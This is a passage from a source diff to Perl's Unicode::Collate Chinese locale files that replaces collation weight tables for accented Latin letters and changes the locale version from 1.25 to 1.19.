; [.1CAA.0025.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE -1EC3 ; [.1CAA.0025.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE -1EC2 ; [.1CAA.0025.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE -1EC7 ; [.1CAA.0025.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW -1EC6 ; [.1CAA.0025.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW -012B ; [.1D32.001C.0002] # LATIN SMALL LETTER I WITH MACRON -0069 0304 ; [.1D32.001C.0002] # LATIN SMALL LETTER I WITH MACRON -012A ; [.1D32.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON -0049 0304 ; [.1D32.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON -00ED ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE -0069 0301 ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE -0069 0341 ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE -00CD ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE -0049 0301 ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE -0049 0341 ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE -01D0 ; [.1D32.001E.0002] # LATIN SMALL LETTER I WITH CARON -0069 030C ; [.1D32.001E.0002] # LATIN SMALL LETTER I WITH CARON -01CF ; [.1D32.001E.0008] # LATIN CAPITAL LETTER I WITH CARON -0049 030C ; [.1D32.001E.0008] # LATIN CAPITAL LETTER I WITH CARON -00EC ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE -0069 0300 ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE -0069 0340 ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE -00CC ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE -0049 0300 ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE -0049 0340 ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE -006D 0304 ; [.1DAA.001C.0002] # -004D 0304 ; [.1DAA.001C.0008] # -1E3F ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE -006D 0301 ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE -006D 0341 ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE -1E3E ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE -004D 0301 ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE -004D 0341 ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE -006D 030C ; [.1DAA.001E.0002] # -004D 030C ; [.1DAA.001E.0008] # -006D 0300 ; [.1DAA.001F.0002] # -006D 0340 ; [.1DAA.001F.0002] # -004D 0300 ; [.1DAA.001F.0008] # -004D 0340 ; [.1DAA.001F.0008] # -006E 0304 ; [.1DB9.001C.0002] # -004E 0304 ; [.1DB9.001C.0008] # -0144 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE -006E 0301 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE -006E 0341 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE -0143 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE -004E 0301 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE -004E 0341 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE -0148 ; [.1DB9.001E.0002] # LATIN SMALL LETTER N WITH CARON -006E 030C ; [.1DB9.001E.0002] # LATIN SMALL LETTER N WITH CARON -0147 ; [.1DB9.001E.0008] # LATIN CAPITAL LETTER N WITH CARON -004E 030C ; [.1DB9.001E.0008] # LATIN CAPITAL LETTER N WITH CARON -01F9 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE -006E 0300 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE -006E 0340 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE -01F8 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE -004E 0300 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE -004E 0340 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE -014D ; [.1DDD.001C.0002] # LATIN SMALL LETTER O WITH MACRON -006F 0304 ; [.1DDD.001C.0002] # LATIN SMALL LETTER O WITH MACRON -014C ; [.1DDD.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON -004F 0304 ; [.1DDD.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON -00F3 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE -006F 0301 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE -006F 0341 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE -00D3 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE -004F 0301 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE -004F 0341 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE -01D2 ; [.1DDD.001E.0002] # LATIN SMALL LETTER O WITH CARON -006F 030C ; [.1DDD.001E.0002] # LATIN SMALL LETTER O WITH CARON -01D1 ; [.1DDD.001E.0008] # LATIN CAPITAL LETTER O WITH CARON -004F 030C ; [.1DDD.001E.0008] # LATIN CAPITAL LETTER O WITH CARON -00F2 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE -006F 0300 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE -006F 0340 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE -00D2 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE -004F 0300 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE -004F 0340 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE -016B ; [.1EB5.001C.0002] # LATIN SMALL LETTER U WITH MACRON -0075 0304 ; [.1EB5.001C.0002] # LATIN SMALL LETTER U WITH MACRON -016A ; [.1EB5.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON -0055 0304 ; [.1EB5.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON -00FA ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE -0075 0301 ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE -0075 0341 ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE -00DA ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE -0055 0301 ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE -0055 0341 ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE -01D4 ; [.1EB5.001E.0002] # LATIN SMALL LETTER U WITH CARON -0075 030C ; [.1EB5.001E.0002] # LATIN SMALL LETTER U WITH CARON -01D3 ; [.1EB5.001E.0008] # LATIN CAPITAL LETTER U WITH CARON -0055 030C ; [.1EB5.001E.0008] # LATIN CAPITAL LETTER U WITH CARON -00F9 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE -0075 0300 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE -0075 0340 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE -00D9 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE -0055 0300 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE -0055 0340 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE -01D6 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -0075 0308 0304 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -01D5 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -0055 0308 0304 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -00FC 0304 ; [.1EB5.0021.0002] # -00DC 0304 ; [.1EB5.0021.0008] # -01D8 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -0075 0308 0301 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -0075 0308 0341 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -01D7 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -0055 0308 0301 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -0055 0308 0341 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -00FC 0301 ; [.1EB5.0022.0002] # -00FC 0341 ; [.1EB5.0022.0002] # -00DC 0301 ; [.1EB5.0022.0008] # -00DC 0341 ; [.1EB5.0022.0008] # -01DA ; [.1EB5.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -0075 0308 030C ; [.1EB5.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -01D9 ; [.1EB5.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -0055 0308 030C ; [.1EB5.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -00FC 030C ; [.1EB5.0023.0002] # -00DC 030C ; [.1EB5.0023.0008] # -01DC ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -0075 0308 0300 ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -0075 0308 0340 ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -01DB ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -0055 0308 0300 ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -0055 0308 0340 ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -00FC 0300 ; [.1EB5.0024.0002] # -00FC 0340 ; [.1EB5.0024.0002] # -00DC 0300 ; [.1EB5.0024.0008] # -00DC 0340 ; [.1EB5.0024.0008] # -00FC ; [.1EB5.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS -0075 0308 ; [.1EB5.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS -00DC ; [.1EB5.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -0055 0308 ; [.1EB5.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0101 ; [.1BC2.001C.0002] # LATIN SMALL LETTER A WITH MACRON +0061 0304 ; [.1BC2.001C.0002] # LATIN SMALL LETTER A WITH MACRON +0100 ; [.1BC2.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON +0041 0304 ; [.1BC2.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON +00E1 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE +0061 0301 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE +0061 0341 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE +00C1 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE +0041 0301 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE +0041 0341 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE +01CE ; [.1BC2.001E.0002] # LATIN SMALL LETTER A WITH CARON +0061 030C ; [.1BC2.001E.0002] # LATIN SMALL LETTER A WITH CARON +01CD ; [.1BC2.001E.0008] # LATIN CAPITAL LETTER A WITH CARON +0041 030C ; [.1BC2.001E.0008] # LATIN CAPITAL LETTER A WITH CARON +00E0 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE +0061 0300 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE +0061 0340 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE +00C0 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE +0041 0300 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE +0041 0340 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE +0113 ; [.1C25.001C.0002] # LATIN SMALL LETTER E WITH MACRON +0065 0304 ; [.1C25.001C.0002] # LATIN SMALL LETTER E WITH MACRON +0112 ; [.1C25.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON +0045 0304 ; [.1C25.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON +00E9 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE +0065 0301 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE +0065 0341 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE +00C9 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE +0045 0301 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE +0045 0341 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE +011B ; [.1C25.001E.0002] # LATIN SMALL LETTER E WITH CARON +0065 030C ; [.1C25.001E.0002] # LATIN SMALL LETTER E WITH CARON +011A ; [.1C25.001E.0008] # LATIN CAPITAL LETTER E WITH CARON +0045 030C ; [.1C25.001E.0008] # LATIN CAPITAL LETTER E WITH CARON +00E8 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE +0065 0300 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE +0065 0340 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE +00C8 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE +0045 0300 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE +0045 0340 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE +00EA 0304 ; [.1C25.0021.0002] # +00CA 0304 ; [.1C25.0021.0008] # +0065 0302 0304 ; [.1C25.0021.0002] # +0045 0302 0304 ; [.1C25.0021.0008] # +1EBF ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE +0065 0302 0301 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE +0065 0302 0341 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE +1EBE ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE +0045 0302 0301 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE +0045 0302 0341 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE +00EA 0301 ; [.1C25.0022.0002] # +00EA 0341 ; [.1C25.0022.0002] # +00CA 0301 ; [.1C25.0022.0008] # +00CA 0341 ; [.1C25.0022.0008] # +00EA 030C ; [.1C25.0023.0002] # +00CA 030C ; [.1C25.0023.0008] # +0065 0302 030C ; [.1C25.0023.0002] # +0045 0302 030C ; [.1C25.0023.0008] # +1EC1 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE +0065 0302 0300 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE +0065 0302 0340 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE +1EC0 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE +0045 0302 0300 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE +0045 0302 0340 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE +00EA 0300 ; [.1C25.0024.0002] # +00EA 0340 ; [.1C25.0024.0002] # +00CA 0300 ; [.1C25.0024.0008] # +00CA 0340 ; [.1C25.0024.0008] # +00EA ; [.1C25.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX +0065 0302 ; [.1C25.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX +00CA ; [.1C25.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX +0045 0302 ; [.1C25.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX +1EC5 ; [.1C25.0025.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE +1EC4 ; [.1C25.0025.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE +1EC3 ; [.1C25.0025.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE +1EC2 ; [.1C25.0025.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE +1EC7 ; [.1C25.0025.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW +1EC6 ; [.1C25.0025.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW +012B ; [.1CAD.001C.0002] # LATIN SMALL LETTER I WITH MACRON +0069 0304 ; [.1CAD.001C.0002] # LATIN SMALL LETTER I WITH MACRON +012A ; [.1CAD.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON +0049 0304 ; [.1CAD.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON +00ED ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE +0069 0301 ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE +0069 0341 ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE +00CD ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE +0049 0301 ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE +0049 0341 ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE +01D0 ; [.1CAD.001E.0002] # LATIN SMALL LETTER I WITH CARON +0069 030C ; [.1CAD.001E.0002] # LATIN SMALL LETTER I WITH CARON +01CF ; [.1CAD.001E.0008] # LATIN CAPITAL LETTER I WITH CARON +0049 030C ; [.1CAD.001E.0008] # LATIN CAPITAL LETTER I WITH CARON +00EC ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE +0069 0300 ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE +0069 0340 ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE +00CC ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE +0049 0300 ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE +0049 0340 ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE +006D 0304 ; [.1D25.001C.0002] # +004D 0304 ; [.1D25.001C.0008] # +1E3F ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE +006D 0301 ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE +006D 0341 ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE +1E3E ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE +004D 0301 ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE +004D 0341 ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE +006D 030C ; [.1D25.001E.0002] # +004D 030C ; [.1D25.001E.0008] # +006D 0300 ; [.1D25.001F.0002] # +006D 0340 ; [.1D25.001F.0002] # +004D 0300 ; [.1D25.001F.0008] # +004D 0340 ; [.1D25.001F.0008] # +006E 0304 ; [.1D34.001C.0002] # +004E 0304 ; [.1D34.001C.0008] # +0144 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE +006E 0301 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE +006E 0341 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE +0143 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE +004E 0301 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE +004E 0341 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE +0148 ; [.1D34.001E.0002] # LATIN SMALL LETTER N WITH CARON +006E 030C ; [.1D34.001E.0002] # LATIN SMALL LETTER N WITH CARON +0147 ; [.1D34.001E.0008] # LATIN CAPITAL LETTER N WITH CARON +004E 030C ; [.1D34.001E.0008] # LATIN CAPITAL LETTER N WITH CARON +01F9 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE +006E 0300 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE +006E 0340 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE +01F8 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE +004E 0300 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE +004E 0340 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE +014D ; [.1D58.001C.0002] # LATIN SMALL LETTER O WITH MACRON +006F 0304 ; [.1D58.001C.0002] # LATIN SMALL LETTER O WITH MACRON +014C ; [.1D58.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON +004F 0304 ; [.1D58.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON +00F3 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE +006F 0301 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE +006F 0341 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE +00D3 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE +004F 0301 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE +004F 0341 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE +01D2 ; [.1D58.001E.0002] # LATIN SMALL LETTER O WITH CARON +006F 030C ; [.1D58.001E.0002] # LATIN SMALL LETTER O WITH CARON +01D1 ; [.1D58.001E.0008] # LATIN CAPITAL LETTER O WITH CARON +004F 030C ; [.1D58.001E.0008] # LATIN CAPITAL LETTER O WITH CARON +00F2 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE +006F 0300 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE +006F 0340 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE +00D2 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE +004F 0300 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE +004F 0340 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE +016B ; [.1E30.001C.0002] # LATIN SMALL LETTER U WITH MACRON +0075 0304 ; [.1E30.001C.0002] # LATIN SMALL LETTER U WITH MACRON +016A ; [.1E30.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON +0055 0304 ; [.1E30.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON +00FA ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE +0075 0301 ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE +0075 0341 ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE +00DA ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE +0055 0301 ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE +0055 0341 ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE +01D4 ; [.1E30.001E.0002] # LATIN SMALL LETTER U WITH CARON +0075 030C ; [.1E30.001E.0002] # LATIN SMALL LETTER U WITH CARON +01D3 ; [.1E30.001E.0008] # LATIN CAPITAL LETTER U WITH CARON +0055 030C ; [.1E30.001E.0008] # LATIN CAPITAL LETTER U WITH CARON +00F9 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE +0075 0300 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE +0075 0340 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE +00D9 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE +0055 0300 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE +0055 0340 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE +01D6 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +0075 0308 0304 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +01D5 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +0055 0308 0304 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +00FC 0304 ; [.1E30.0021.0002] # +00DC 0304 ; [.1E30.0021.0008] # +01D8 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +0075 0308 0301 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +0075 0308 0341 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +01D7 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +0055 0308 0301 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +0055 0308 0341 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +00FC 0301 ; [.1E30.0022.0002] # +00FC 0341 ; [.1E30.0022.0002] # +00DC 0301 ; [.1E30.0022.0008] # +00DC 0341 ; [.1E30.0022.0008] # +01DA ; [.1E30.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +0075 0308 030C ; [.1E30.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +01D9 ; [.1E30.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +0055 0308 030C ; [.1E30.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +00FC 030C ; [.1E30.0023.0002] # +00DC 030C ; [.1E30.0023.0008] # +01DC ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +0075 0308 0300 ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +0075 0308 0340 ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +01DB ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +0055 0308 0300 ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +0055 0308 0340 ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +00FC 0300 ; [.1E30.0024.0002] # +00FC 0340 ; [.1E30.0024.0002] # +00DC 0300 ; [.1E30.0024.0008] # +00DC 0340 ; [.1E30.0024.0008] # +00FC ; [.1E30.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS +0075 0308 ; [.1E30.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS +00DC ; [.1E30.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +0055 0308 ; [.1E30.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/zh_big5.pl b/cpan/Unicode-Collate/Collate/Locale/zh_big5.pl index 520611555a09..d129ae900b47 100644 --- a/cpan/Unicode-Collate/Collate/Locale/zh_big5.pl +++ b/cpan/Unicode-Collate/Collate/Locale/zh_big5.pl @@ -1,214 +1,214 @@ use Unicode::Collate::CJK::Big5; +{ - locale_version => 1.25, + locale_version => 1.19, overrideCJK => \&Unicode::Collate::CJK::Big5::weightBig5, - entry => <<'ENTRY', # for DUCET v9.0.0 -0101 ; [.1C47.001C.0002] # LATIN SMALL LETTER A WITH MACRON -0061 0304 ; [.1C47.001C.0002] # LATIN SMALL LETTER A WITH MACRON -0100 ; [.1C47.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON -0041 0304 ; [.1C47.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON -00E1 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE -0061 0301 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE -0061 0341 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE -00C1 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE -0041 0301 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE -0041 0341 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE -01CE ; [.1C47.001E.0002] # LATIN SMALL LETTER 